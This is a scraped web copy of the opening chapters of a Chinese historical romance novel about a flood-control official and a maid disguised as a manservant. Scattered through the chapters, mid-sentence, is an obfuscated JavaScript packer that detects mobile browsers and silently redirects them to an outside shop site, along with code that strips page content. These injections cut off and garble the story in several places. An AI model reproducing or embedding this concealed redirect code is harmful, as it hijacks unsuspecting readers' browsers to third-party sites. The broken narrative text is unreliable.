《娇奴》 1. 天仙子 “听说东院那位,是京城来的大官?” “是,听正院的人说那位大人姓裴,是圣上钦点南下治理洪灾的水陆运使。没看咱们刺史大人那日鞍前马后的,唯恐伺候不周。” “水陆运使,那是几品?比刺史大人的官儿还大?” 说话的二人是吴州刺史府的小厮,大字不识几个,生平见过最大的官儿就是府里的刺史大人。吴州因地处江南,水系密布,运河通达,经济繁荣,故而被划为晋国的上州,吴州刺史的品阶乃是从三品。 “......二品?”二人迟疑地猜测。 “听说那位裴大人还是个鳏夫。”房内另一个小厮从井边冲凉回来,方踏入屋内,便饶有兴趣地接着二人的话题挤眉弄眼道,“要我说,刺史大人再溜须拍马,都不如送几个貌美的婢女过去。任随他多大的官儿,金钱权力美色总会图一样。我记得全贵儿你妹子颇有几分颜色,说不准哪日便飞黄腾达成了运使大人的大舅子,到时候可别忘了咱们兄弟几个。” 全贵儿将床边的擦脚布扔到那人身上:“死一边去儿,再敢拿我妹子打趣,我撕烂你的嘴。再说你怎的知道正院没有准备,若不是几位大人这些日子在外巡查河道,刺史夫人早便把人送过去了。” 那人悻悻躲开:“得,我多嘴了。不过我看夫人就算备好了人也是白准备。” “为何?” 那人说:“人家运使大人是什么身份,怎的可能看上外面送去的女人。更何况,我听闻运使大人已故的夫人乃是京城第一美人,据说与当今盛宠的贵妃相貌极为相——” “好了好了,越说越没边了。”另一人赶忙打断,天家的事岂是他们这种身份能随意谈论,遂扯过话头道,“明儿还要上工,都早些歇下罢。人可都在?” 该擦脚的擦脚,该上床的上床,刺史府内最低等的丫鬟小厮皆四人一间舍房,全贵儿点了点人头,纳罕道:“阿渔那臭小子呢,方才还在那儿躺着,怎的转眼就不在了?” 一人打了个哈欠,懒洋洋道:“不用管他,八成又嫌弃打井水麻烦又洗不干净,自个儿溪边游泳了,成日里忒讲究......他水性好不会出事,估计过会儿就回来。” 房内的烛火暗下,窗下的阿渔长舒一口气,小心翼翼地沿着墙根朝着府内东面的方向潜去。 刺史府大体呈“回”字形结构,北院为主院,为每任刺史居所。其余三院为宾院,其中以东院为尊,内设私汤,引山泉水供贵客沐浴洗漱。 阿渔深夜潜行正是为此。作为府里最低等的小厮,阿渔自是不敢偷用主子的私汤,她是为连接东院内外那湾顺流而下的山泉溪水而来。 东院先前无人居住,她每日悄悄前来用溪水倒是不妨事。然而如今住进了一位京城来的大官,虽然府内都知道那位裴大人在外巡查河道,不常回来,但阿渔不敢冒险,只每隔两三天过来一次。 阿渔抱紧怀中的换洗衣裳,屏住呼吸,蹑手蹑脚地靠近角门。 *** 一方清池掩盖在稀稀疏疏的矮灌丛中,周围夏蝉鸣叫,杨柳低垂,杂草丛生。池水清澈见底,数尾鱼儿轻悄悄游过,一位身形高大的男子阖眸泡在池边。 只见他约莫而立的年纪,面若冠玉,气质清朗、温文儒雅,然眉头紧蹙,一副形容憔悴的模样。 良久,裴正卿轻轻叹了口气。 此番江南流域突遭洪涝水患,以致漕运中断,粮仓损坏,饿殍千里,亟需派遣官员前往协调物资运输,统筹救灾灾粮调拨。皇帝思来想去,唯时任工部侍郎的裴正卿可用。 一来,裴正卿人品端方,行事沉稳,能尽快稳住局面。二来,裴正卿原便是工部下属四司的水部司郎中,专司水利、漕运。另外他还曾在户部下属度支司有过两年经历,故而派他作为江南东道水陆运使,前去处理水患再适合不过。 江南东道水陆运使乃是特设官职,无甚过往品阶供参考,故而皇帝特授一品官阶,令其可便宜行事,调遣粮草,并越级处置渎职地方官等。 然即便如此,此事却实在算不得一件美差。水患处理得好是本分,处理得不好便是渎职。往常赈灾最易遇到吃拿卡要,官官相护,所幸此番水患由皇帝亲自盯着,各地官员倒是不敢明目张胆地贪墨粮草,是故真正让裴正卿头疼的确是治理涝灾。 吴州地处平原,地势低平,兼之水系通达,京吴大运河由此而生。漕运繁荣的同时,吴州自古以来便饱受水患的侵扰,尤其每年夏季汛期江河水位暴涨,河水冲垮堤坝,涌至城内积水成灾。 除吴州外,其相邻的洪州亦饱受水患之灾。加固堤坝固然能解决眼前的问题,可终究治标不治本。自来到吴州后,裴正卿数日巡查河道,发现自运河修建以来,泥沙淤积,河床年年抬高,虽每年少许,经年累月下来亦是不可忽视的高度。 单单加固堤坝的方式无法防御洪水,必须采取分洪措施,但此提议却遭到了洪州刺史的反对。洪州不比吴州,囿于城池较小且沿海多风暴,税收单薄,仅是江南流域一个不起眼的下州,对已有的堤坝缝缝补补尚能接受,可若是大兴土木修建水利却万万不能接受。 吴州刺史是介中庸之辈,既不愿意得罪裴正卿这位朝廷派来的运使钦差,也不想公然和同僚唱反调,从始至终模棱两可。 裴正卿犯了难,他是圣上钦点的水陆转运使,虽有权让他们遵从他的命令,却也不能完全罔顾辖州刺史的意见。 左右没有双全法,僵持在那儿也无济于事,加上近日数地奔波,裴正卿才临时起意回府,先写了道折子派人快马加鞭送去京城,正欲去私汤沐浴,偶然在角门附近发现一处溪池,脚尖一转来了此处。 “窸窸窣窣——” 耳畔突然传来细小的声音,裴正卿猛然睁开双眼,警惕地循声望去。 常喜从小在身边伺候他,绝不会没规矩地在他沐浴时来打扰。不是常喜,那会是谁?莫非是刺客? 只见那片草地上随意地散落着一件靛蓝粗布袍衫、一件白色中衣、还有一卷长条状,不知作何用处的粗棉白布。 ——看样式,似是府里的小厮。 裴正卿见状愕然一愣,未及细思,下一瞬便听到了利落的入水声。 “扑通——” 不远处,划水声传了过来,清澈连贯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481248|201752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宛如大珠小珠落玉盘。 “哗啦哗啦——” 声音在距离岸边不远不近处停下,随即一张朦胧的桃花面自水底露出,而后是秀美修长的脖颈。女子解开束起的发髻,乌黑茂密的细发如流云倾泻散落,削葱般的纤纤玉指随意地掬起一捧水,漫不经心地浇在另一只皓腕。 月光下,丽姝如仙女般突然出现,拨弄水面,嬉戏玩耍。 裴正卿仿佛同样能感受到晶莹的水珠流淌滚动。鱼儿从水底划过,摆起的鱼尾轻轻地扫过他的身侧,一股难以名状的战栗迅速自下而上蔓延全身。 鱼尾甩过在角落里激起圈圈涟漪。 水中央,女子无知无觉,一个猛子扎进水里,比鱼儿游得还要畅快,飘若惊鸿宛若游龙。 随着女子游近,她藏在水雾后的容貌亦逐渐显露。只见其一张清颜,不施粉黛,朱唇红润,一双灵动的眼睛顾盼神飞,长眉弯曲细长,水珠从额头落下,划过眉梢侧颊下颌,汇入水中融为一体。 髡鬓兮若轻云之蔽月,飘飖兮若流风之回雪。远而望之,皎若太阳升朝霞;迫而察之,灼若芙蕖出渌波。 古有洛神大抵如此罢,裴正卿不由得在心中呢喃道,痴痴地看着,直到耳畔传来自己的鼓噪心跳,强烈到他无法忽视。 裴正卿失态地收回目光,垂眸敛眉,此时鼻端却仿佛嗅到了皂角的清香。 阿渔以纤指作梳,将湿漉漉的乌发一点点捋顺。好在她的头发素来细软垂顺,即便这些日子未曾好好梳理,也无甚打结的地方,很快便梳理顺滑。接着将皂角放在溪水中打湿,待搓出丰盈的泡沫,拂上长发。 皂角没有香胰子好用,但阿渔也顾不得挑剔许多。她本就是女扮男装进的刺史府,小心翼翼唯恐被发现身份,先前还因为衣裳用香胰子浣洗留下的香味被其他小厮调侃,如今更是半点破绽都不敢露出。 清淡的皂角香萦在鼻端,裴正卿知道自己定然双耳通红。 非礼勿视,不能再呆下去了! 耳边水声不知何时已经停下,裴正卿抬步正欲离开悄然离开,冷不丁猝然撞进一双愕然的双眸中。 阿渔双手交叉护在面前,杏眼瞪地圆溜溜的,下意识想尖叫喊人,反应过来后立刻死死捂住,用眼神表示愤怒。 哪里来的登徒子! 对上阿渔震惊的双眸,裴正卿喉头发紧,艰涩地启唇:“我——” 他甫一开口,阿渔旋即回过神,脸青一阵红一阵,不等他说完便矮身躲入水下,几个扑腾间游到了岸边,飞快地拾起地上的衣裳胡乱地裹在身上,一溜烟跑了。 裴正卿抿唇看着阿渔离开的方向,浸在冰凉溪水中的身子却仿佛比烈日下还要炽热。即便刻意回避,女子方才动作时不小心流露的景象还是撞入他的眼中,思及此,感受到某处愈发难堪的异样,裴正卿苦笑地阖眸隐忍,好半天才平复下来。 待起身,常喜果然没在角门处守着,怪道那女子方才突然出现。 说曹操,曹操到,常喜急匆匆自书房处寻了过来。 “大人,常福来信,咸湖与曹清江之间的玉山斗门决堤,请大人速归。” 2. 花木兰 出事儿的地方在吴州与洪州交界处。 常喜将马儿牵了出来,裴正卿飞身而上,鞭子一抽,两人两骑从角门而出,钻入黑夜中很快消失不见。 “大人。”营地扎在城外高处,常福快步迎了上来,简要地说明了事故发生的来龙去脉:“果真如大人所言,昨夜雨势汹涌,曹清江两岸塘坝疑有决堤之象。属下遵从大人先前吩咐,令人提前将玉山水闸的八孔石闸尽数打开。然白间雨水不歇,午时咸湖蓄满,不到半个时辰,河水溢堤将玉山斗门尽数冲垮。” 裴正卿心下一沉:“眼下水患灾况如何?” 常福肃然禀道:“洪州城内已有积涝,情势危急,恐祸至吴州。” “两州刺史现下都在何处?” “吴州刺史刘大人一刻钟前已赶到,洪州刺史徐大人,两个时辰前领军中兵士前往城内抢救粮仓。” 裴正卿脚步一顿,随即吩咐常福:“传令,让二位大人速来营帐议事。” 常福领命匆匆离去。 营帐的毡帘儿一飞,裴正卿解下披风递给常喜,绕至桌前,展开河图蹙眉沉思。 吴州刺史刘文会是个五短身材的中年男子,虽相貌不扬,却是两榜出身的二甲传胪。他一介寒门弟子,却能一路稳扎稳打坐到一州刺史,除了离不开他出身河东柳氏的妻族扶持,更重要的是,刘文会本人深谙官场之道,为人处世极为圆滑,擅长人情往来,却从不拉帮结派,是朝堂上有名的老狐狸。 营帐内,刘文会以及方才赶到的洪州刺史徐彭坐在下首,心思各异。 “城内粮仓状况如何?”裴正卿此话是问徐彭。 徐彭眼神微闪,心虚地讪讪道:“回大人,下官率军中兵士已将城北的三座粮仓尽数转移,救出粟米万石。只......只水患来得突然,城南的粮仓未及抢收,已然悉数淹没......” 裴正卿闻言眉头紧蹙。徐彭此话虽极力避重就轻,可在场众人皆知此番水患造成的损失远比这严重得多。江南乃天下粮仓,古有江南熟,天下足的说法,由此可见江南流域各州县内储粮的重要性。一旦来年大旱,而朝廷无法从江南筹调足够的粮草,后果不堪设想。 裴正卿面无表情地用食指一搭一搭地轻叩桌面,寂静的营帐里持续且规律的敲击声逐渐弥漫起紧张压迫的气氛。 “通过县志来看,曹清江每年汛期水位暴涨,为疏通洪水,接连几任洪州刺史先是加固堤坝,又将泄水闸由木闸改为更结实的石闸,后将斗门由两孔改为八孔,丰水期由临近的咸湖蓄洪,待枯水期灌溉农田。然,”裴正卿话头一转:“江南平原地势低平,沼泽湿地到底调储有限。今日突遭水患,看似偶然,实则必然,二位大人以为如何?” 徐彭脸色一白,心知自己先前托大方才招致此番水灾,他身为一州最高官员,若是运使钦差当真追究起来,他必是渎职之罪,遂连忙起身告罪:“属下知罪。” 裴正卿跷起长腿搭在另一条腿上,向后靠着椅背,一只胳膊借力搭在扶手上,另一只手有一搭没一搭地轻点桌面,面容温文尔雅,双眸却如寒潭般冷冽压迫。他微微侧头转向一直一言不发的吴州刺史刘文会,一派上位者的云淡风轻道:“刘大人怎么看?” 刘文会闻言起身,抱手垂首道:“属下全凭大人吩咐。” 看似表忠心,实则什么也没说,滑不溜手,半分责任不担,果真是老狐狸。 裴正卿不语,任随二人杵在那儿当脚戳子。 徐彭知晓眼下自个儿必定要拿出个态度,遂咬咬牙道:“大人所言极是,再修补堤坝亦无济于事。只是......洪州不过一方下州,眼下又遭水患,属下便是想兴修水利,恐拿不出那么多银子。若强征赋税,劳命伤财,惹民怨沸腾,皆是恐招来更大的祸患。” 裴正卿嘴角勾起一抹运筹帷幄的弧度:“此事本官已有对策。” 二位刺史闻言,讶异地彼此对视一眼,道:“请大人明示。” *** 吴州刺史府 阿渔从溪边落荒而逃,虽恼怒身子被人看了去,但一则她偷偷溜进东院本就不占理,另一则担心她女扮男装之事被人发现,是故到底不敢声张,只在心里暗暗揣度那人是谁。 出现在府里的男人,除却几位大人,便是各院的小厮。看那男人的气度,想来不是后者。既如此,便只可能是在府衙里的大人。 吴州府内有头有脸的大人,除却刺史,便是别驾、长史、司马、参军......以及东院那位从未露面的京城大官。 阿渔有个大胆的猜测。 翌日,她寻了个机会去到马厩。 “昨夜运使大人确实回来了,还叮嘱我去厨房拿些红糖喂马儿,不过不到一个时辰便又急匆匆策马走了。”马房小厮如是说,接着好奇地问道,“你是哪个院的小厮,打听这些做甚?” 迎着对方打量的目光,阿渔胡乱找了个借口搪塞了过去,灰溜溜地逃走了。 昨夜那人果真是京城来的那位大官?! 不、不,阿渔惊恐之余又觉得有哪儿不对劲。对方既是京城来的贵人,怎的会放着院里特意打造的私汤不用,反而跑去偏僻的野溪。更何况,昨儿夜里虽匆匆一瞥,阿渔未曾细细打量那登徒子的相貌,但也看清了一二,是个风华正茂的年轻男子,而府里的下人皆传东院的裴大人年过而立,与刺史大人年岁相当。想起刺史大人六尺五六的身量,唇方口正、额阔顶平的面容,阿渔抿了抿嘴,心中的犹疑更甚。 裴大人既与刺史大人同年,应当没有那么年轻......吧。 阿渔心存侥幸地安慰自个儿。 但不论如何,她女扮男装的身份到底还是被人看到了,阿渔成日里惴惴不安,唯恐有人跳出来将她揭穿,至于东院那边,更是不敢再去。 然而,未等有人揭穿,阿渔自个儿却无意中主动露了马脚。 后罩房 阿渔面色苍白地躺在床上,腰间枕着一只汤婆子,一个名叫汀兰的婢女端着一碗冒着热气的红糖水打帘走了进来。 “呼呼,烫死了烫死了。”汀兰急忙将碗放在床边,手指搓了搓耳垂,道:“我去厨房为了煮了碗热乎乎的红糖水,待会你饮了它便不难受了。” “多谢。”阿渔虚弱地撑起身子坐起来。 “不妨事。”汀兰随意地摆摆手,好奇地问道:“你是第一次来月事?” 阿渔红着脸轻轻嗯了声。 若不是先前从未来过月事,以致阿渔未曾防备,也不会出现今日的糗事。 今晨起身时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两人正说着话,传来传来脚步声,接着门帘一飞,一个容貌美艳,身形妖娆的婢女迈了进来,撇了眼床边的阿渔和汀兰二人,随后自顾自地在桌边坐下。 汀兰凑到阿渔耳边,小声道:“她叫云裳,同我们住在一个屋子,她有些......”汀兰吞吞吐吐道,使了个眼神,那表情分明写着“她有些不好惹”。 果不其然,一道夹枪带棒的声音响起:“看来你就是她们口中女扮男装进刺史府的花木兰,倒是个有心计的,早不暴露身份,晚不暴露身份,偏偏选在这个时候,莫不是也想攀上高枝儿当侍妾?” 汀兰闻言立刻呛了回去:“你以为所有人都跟你一样!阿渔妹妹才不是那样的人,她之前是有原因的。” “嗤,多稀罕呐。”云裳用染红的丹蔻捂嘴轻笑,阴阳怪气道,“也就你这个没心眼的傻子会信。” “你——!”汀兰气呼呼道,“懒得同你歪缠!你就是嫉妒阿渔妹妹长得比你美。” 云裳似是被说中心思,跳脚驳斥:“才不是!”说罢气得甩袖离开。 阿渔从始至终未置一言,她初来乍到,摸不清后院婢女间的小九九,不适合在此事同人起冲突。 当侍......妾?阿渔若有所思地垂下眸子。 3. 如梦令 漏夜,吴州城外 营帐外传来兵士巡逻的脚步声,人影宛如皮影戏般在帐帘上攒动。不远处河水澎湃涌上堤坝,潮湿的水汽裹挟着汗臭萦绕在鼻端。 裴正卿已经接连数夜未曾安寝,脑中仍思虑水患之事,眼皮却止不住上下打架,终是忍不住睡了过去,恍惚间仿佛做了个梦。 梦中,一位身着白色纱衣的女子,如丝绸般顺滑地卧倒在他的怀中,待看清女子相貌,竟是那夜在溪边见到的宛如洛神仙女的年轻女子! 裴正卿呼吸一窒。 “登徒子!”女子媚眼一瞪。 裴正卿艰涩地解释道:“那是意外......我、我那日不知你会出现。” “都怪你!”女子杏眼一瞪,娇声娇气地指责道,“登徒子!为老不尊!大坏唔——” 梦里的裴正卿觉得自己仿佛失去了往日的克制,听见女子宛如刚出窝的幼猫般嫩生生的声音,脑袋里想的竟然不是如何解释,而是不停地回忆着她那一张一合的樱桃小口。 他阖上眼,感受到心脏在剧烈跳动,仿佛像一只被关在笼中的困兽,即将冲出藩篱。 喉结不住地滚动,裴正卿强自在心中默念君子慎独。陡然一个瞬间,他猛地睁开双眼,将眼前女人搂腰抱起,抬首狠狠吻去。 夜色逐渐迷离,笼罩起混沌的瘴气。忽然,营帐外传来一道急促的脚步。 “大人可在帐中?下官刘文会有要事求见。” “......大人在否?” “......大人?” 女子长睫微颤,攥起粉拳抵在他的脖颈,像一只抗拒人亲近的狸奴。 裴正卿不悦地向帐外扫了一眼,不予理会,扭头去捉怀里的怯猫儿。 “大人若是不便,下官明日再来求见。”说罢声音远去。 如同草原上的雄狮,平素慵懒优雅,只有在捕猎时才会展露出凶猛的力量,跃起、扑杀,轻而易举地一把摁住猎物,以一种强势的姿态,狼吞虎咽地一番饕餮,而后眯了眯眼,慢条斯理地慢慢享用起来。 裴正卿缓缓从梦境中醒来,彼时辰时将至。 他撑起胳膊缓缓坐起,只见身上的中衣被汗水浸得湿哒哒、黏糊糊的。见状,裴正卿眸色微闪,眼底晦暗不明。 须臾,他仰躺在榻上,一只胳膊搭在额前,盖住大半张脸,嘴角泛起一抹苦笑。 原以为早便将那夜所见场景忘在脑后,早已年过而立之人,何等场面不曾经历过,怎会将一个乳臭未干的黄毛丫头放在心上。 不曾想他越是故作无事,越是反弹得厉害,白日里他是不形于色、运筹帷幄的水陆转运使,梦里却将他藏在心底那点子说不得的心思暴露得一干二净。 怎就惦记至此。 裴正卿坐起身,想要唤常喜担水进来,刚要开口霎时梗住,换了身儿干净衣裳,想了想又将沾了污浊的脏衣物团了团,藏在怀中。 他掀开营帐悄然潜去伙房,将包裹迅速地扔到火堆里,待亲眼看着火苗将罪恶彻底湮灭,又如来时般悄然离去。 翌日 “大人,京城来信。” 裴正卿接过信,一目十行,待看完心下大定,吩咐常福:“去告诉二位刺史,圣上已经准了本官的折子,让他们一切依计行事。” 常福拱手,领命离去。 说回那日,裴正卿提出治理水患的对策便是除沙。 “江南河道弯曲,水流平缓,泥沙淤积严重,以致河床抬高,每每汛期河水暴涨便会引发溃堤,故而若要彻底根治连年侵扰江南的水患,必得除沙。” 裴正卿指着河图道,“依我之计,在洪州流段,设杩槎于江心,以竹笼和卵石填充,将河水分离为两侧。如此一来,每逢夏季汛期来临,夹带着大量泥沙的水流流经此处,便会大部分冲向外江,再在吴州流段疏通一条泄洪道,将少量夹带泥沙流入内江的水流排沙。” 裴正卿看向下首两州刺史:“洪州虽税收不丰,但却有数千流放沿海采珠的罪奴。当今圣上不喜各地进贡祥瑞之事,与其让罪奴采珠,不如调度年轻力壮者前去疏浚河道。至于粮草,则暂从吴州筹调。” 洪州刺史徐彭听闻此策自是诺诺应允,只吴州刺史刘文会仍心存犹豫。 “大人此计甚妙,只是......如此一来,所需钱财人力不可小觑。下官惶恐,圣上可会......” 刘文会不愧是官场的老狐狸,知道根治水患于他这个当任刺史乃是一项大功绩,日后考满升迁大有助益,可又半分责任不愿担,故而犹犹豫豫,左右摇摆。 裴正卿早便知吴州刺史是个趋利避害,滑不溜手的。只是,圆滑过头了可不是什么好事。 裴正卿眼含深意地敲打道:“本官自会上折子陈情此间利害,圣上授本官钦差之权,可越级处理渎职地方官,刘大人莫不是觉得我这个运使指挥不动你?” 刘文会忙不迭起身告罪,抬袖拭汗。 事实果真如裴正卿所料,圣上准了他提出的除沙之策,并准他一应便宜行事。如此一来,总算解了一件心头大事。 “大人今日可要回府?”常喜问,“”您已数日未曾好好歇息,如今一切皆如大人所料,这儿有常福盯着,出不了什么岔子,大人不妨先回府歇息几日?” “也好。”裴正卿揉了揉额角,又交代了一些事宜后,便带着常喜动身策马回了刺史府。 甫一进东院,邹妈妈迎了上来,一边指使常喜接过主子取下的披风,一边让丫鬟担水过来给主子洗手。 裴正卿拿起帕子拭手,随口问道:“这些日子府中可发生什么事?” 邹妈妈:“倒是一切如常,只刺史夫人那边三番两次派人过来,说是东院先前未住人,没安排多少下人,恐怠慢大人,欲送几个婢女过来伺候。” 裴正卿闻言眉头一皱。 邹妈妈急忙说:“大人不在,老奴不敢擅作主张,便借口等大人回来再说。只是看架势,刺史夫人恐怕不会轻易放弃......” 裴正卿知道他们打的什么主意。他为官十余载,自然知晓一些属地官员会行雅贿好上官,如赠送美人、字画。他虽不贪好美色,却也知道水至清则无鱼,若行事过于刚直,油盐不进,反而不利于行事。 左右不过是几个婢女,不理会便是,裴正卿抬步去往书房,交代道:“下次那边若再来,把人收下便是,之后嬷嬷看着安排罢。” 邹妈妈闻言一顿,诺声应下。 *** 后罩房 晌午汀兰用完饭,端了碟芙蓉糖糕回来。 “阿渔妹妹,快来尝尝糖糕,我特意从厨房给你拿的。”汀兰对坐在绣榻旁的阿渔招招手,然后突然“呀”了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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关于东院的那位贵人,阿渔之前在当小厮的时候,或多或少听其他小厮提起过。 说是姓裴,年过而立,和刺史大人一般岁数,南下之前任工部侍郎,正三品大员,为治理江南水患,被钦点为江南东道水陆运使,阿渔祖上当过官,知道运使应当是个不低的官阶。 另外,他还是个鳏夫。 重点便在此处。原来东院贵人南下匆忙,只带了几个惯常伺候的小厮,一个四十多年纪的婆子和一个年轻的女使。 刺史夫人见状,一则恐下人太少伺候不周,另一则也存了巴结的心思,便捉摸着送几个婢女过去。 若贵人无意,便只当个粗使丫鬟便可;若对方是个喜弄风月的,顺水推舟收作通房也是常例儿,无论是哪种,都只有好处没有坏处,何乐而不为。 不得不说,刺史刘文会和刺史夫人真真是应了那句老话儿,不是一家人不进一家门。 云裳本就是刺史夫人特意买来的扬州瘦马,用来行雅贿送给上官同僚的礼物,原打算借安排婢女之由送给东院的运使大人。 若不是东院的婆子借口主子不在,三推四推不敢擅作主张,刺史夫人早便将人送了过去,何至于耽搁到今天。 云裳自知身份卑贱,东院的大人出身世家,正值壮年,且家中正头娘子亡故,未留下嫡子。 只要她能攀上这位贵人,一旦诞下子嗣,便有可能扶作姨娘,世家大族的姨娘可是贵妾,从此她便不再是任意摆布的玩意儿了。若将来儿女有了大造化,为她挣得一份诰命也未可知,这几乎是瘦马最好的出路。 一切本来是最好的安排。 只是她未曾料到,半路竟然杀出个比她还要貌美的阿渔! 4. 红酥手 不怪云裳乱了阵脚。 阿渔是一等一的美人儿。之前为隐瞒身份,她每日以灶灰掩面,遮掩一二。待恢复女身,洗净铅华后,只见她肤若凝脂,面若桃花,一颦一蹙,亦痴亦嗔,眉眼间清丽与魅惑并存,又没有瘦马那股子浮浪,便是见惯了美人儿的张妈妈初初见时也不由得一愣。 云裳心慌慌地揪着手中的帕子,若是刺史夫人舍了她而选阿渔...... 看着桌前汀兰和阿渔吃茶说笑的样子,云裳猛地坐起身,一把推开身旁的平儿环儿,指着汀兰,恨恨地对着阿渔说:“平日里姐姐妹妹叫得亲热,阿渔你应该还不知道吧,你的汀兰好姐姐是家生子,她娘是夫人的陪房,你以为她不想去东院吗?” 陡然的一句话让屋内众人都安静了下来。 东院是好去处,府里的婢女自是都想去。云裳貌美,却不好拿捏。以刺史夫人的谨慎,定还要再送过去一个能拿捏得住的自己人过去,如此一来,家生子便是最好的选择。汀兰的娘虽只是刺史夫人的二等陪房,却掌管府里的厨房,极为体面,她若是想将汀兰塞进东院也不是不可能。 果不其然,汀兰下意识心虚地觑了阿渔一眼,嘴上仍负隅顽抗:“......我、我没有。” 云裳冷笑一声,毫不留情地戳穿:“呵,那你老娘前几日给张妈妈送八十两做甚?” 阿渔闻言暗吸一口凉气,府里的粗使婢女每月月钱也才一两银子,八十两银子,得不吃不喝六七年才能攒够。不过她转念一想,八十两银子或许也算不得什么,毕竟去了东院就有可能被贵人看重,届时不说一步登天,好歹也是半个主子了,怎么也比当婢女强,难怪云裳这些日子又争又抢。 至于汀兰......虽平日里有些自私、好吃懒做、爱占小便宜,但都是些小毛病,总体是个没什么心眼儿,被养得有些过于天真的小姑娘,阿渔倒是未曾料到她也有此想法。 阿渔的眼神在云裳和汀兰间来回巡睃,一派若有所思。 汀兰又羞又恼,急得眼泪都要掉下来了,跳着脚说自己没有。 云裳见成功离间眼前这对恼人的姐妹,又出了上次从汀兰那儿吃瘪的气,不由得嘴角勾起一抹得意洋洋的笑。 阿渔走到汀兰身边,拍了拍她的手,而后扬眉对云裳说道:“人往高处走,水往低处流,刺史夫人可从未说独独云裳姐姐你可以去东院,便是汀兰姐姐想去也无甚不可。” 云裳闻言立刻冲过去:“好啊,你终于承认你也想攀高枝儿!先前女扮男装,说什么替弟服徭役,我看你就是想来勾引男人!毛都没长齐的小妮子惯会使些下作手段,打量我看不出来似的......” 泥人还有三分性,何况阿渔不是个任人揉搓的软面团。她深吸一口气,下一瞬嘴角勾起一抹娇媚的笑:“姐姐可真是误会我了,阿渔自知身份卑贱,不敢奢望太多。只妹妹虽空无一物,只这副容貌是天生地养的,东院的贵人是何等身份,刺史夫人自是要将最好的献给大人,哎呀其实......” 云裳闻言果然妒火中烧,红着眼扑过来:“我打死你个不要脸的贱蹄子!” 阿渔早有防备,未及云裳近身,腰肢一扭及时躲开。 汀兰见不得云裳撒泼,当即一爪子朝云裳挠去。 房里另外两个同云裳交好的婢女平儿和环儿见状,犹豫了一瞬要不要拉架。转念一想,若是她们三人都抓烂了脸,自己岂不是就有机会入了刺史夫人的眼被送去东院。 思及此,二人对视一眼,拢起袖子端站一旁默默围观。 “两个贱蹄子,让你们跟我抢,看我不抓烂你们的脸!” 云裳以一敌二,扬着染着凤仙花的锋利指甲往阿渔和汀兰脸上招呼。 “你才臭不要脸,成日里只想着勾搭主子,还想抓烂我们的脸,你个蛇蝎毒妇,我绝对不会让你得逞,看谁打得过谁!”汀兰不甘示弱地一把扼住云裳的手腕,两人咬着牙互相推搡。 阿渔趁机偷袭,她长了个心眼,转挑暗处招呼。 屋里的座椅板凳都被三人撞倒,传来乒乒乓乓的声音,时不时传来“嘶嘶”吃痛声。 门外早有机灵的丫鬟跑去找管家夫人通风报信。 不一会儿,管家夫人张妈妈率着两个手里膀大腰圆,手中各自拿着捆绳和铜尺的婆子赶来。 “放肆!都给我住手!” “你们两个站在那儿做甚!还不快去把她们拉开!” 被点名的平儿和环儿见状吓得浑身一颤,暗道糟糕,不敢再耍心眼,连忙上前将三人拉住。 趁着人多混乱,阿渔最后重重地在云裳腰间拧了一把,然后迅速收手。 谅她也不敢掀起给张妈看! 云裳吃痛地哎呦一声,想回手,却见张妈妈板起的脸,到底不敢放肆,只恨恨地剜了阿渔一眼,而后手忙脚乱地整理被扯得乱七八糟的衣裳发髻。 张妈妈是刺史府的管家夫人,也是刺史夫人身也是得力的婆子,在刺史府下人中极具威严。 此时,只见她垮着嘴角,冷眼扫过屋内,沉着声一字一句道:“都说说,怎么回事?” 云裳恶人先告状:“是阿渔和汀兰!她们合起伙来欺负我。” 汀兰不服气地辩解道:“明明是你主动挑衅与我们争吵,也是你先动手要打阿渔的!嬷嬷若是不信,可以问平儿、环儿。” 平儿、环儿眼神闪烁,侧着身子,含含糊糊道:“那个......这个......” 云裳抵死不承认:“我没有。”说着她掀开衣袖,抬起手腕走到张妈妈身边,指着手腕上的淤青,楚楚可怜道,“嬷嬷您瞧,我不过与她们拌了几句嘴,竟遭汀兰这般毒打,真是好歹毒的心肠!” 云裳倒是也想控诉阿渔,但奈何那小妮子专挑暗处下手,她又不好当着一众婆子的面掀开衣服给张妈妈看,故而忍住不提。 “是你想抓花我和阿渔的脸,我为了自保才把住了你的手腕,而且你下手也不轻,我胳膊还有你指甲的抓痕,不信嬷嬷你瞧。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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别看张妈妈嘴上说的厉害,要打要杀的,实则根本没让那婆子下死手,否则不消十板子便能将她们打得皮开肉绽,血呼啦擦,怎会如现在这般施了二十手板,才让她们的手心红肿了些,且至多三日便会消褪。 思及此,阿渔可能猜到了些什么。 而身旁的汀兰却惨得多,二十板子抽在她手上比其他人都严重得多,鼓鼓地像个隆起的山包,掌心清晰可数道板痕。 汀兰从未吃过这么大的苦,她虽是下人,但亲娘是府里极有脸面的婆子,即便在厨房这个又苦又累的地方,她也只做些最轻松的话计,如送莱、摆盘之类的,时不时还可以偷偷拿些做多的或者主子不要的点心,说是被养得细皮嫩肉的也不为过。 她扭过头忍不住小声地抽噎起来。她一边抹眼泪儿,一边在心里狠狠给云裳记了一笔。 施完刑,那婆子气喘吁吁地收起铜尺,揉了揉震得发麻的手腕,回到张妈妈身边,恭敬地复命:“张妈妈,都打完了。” 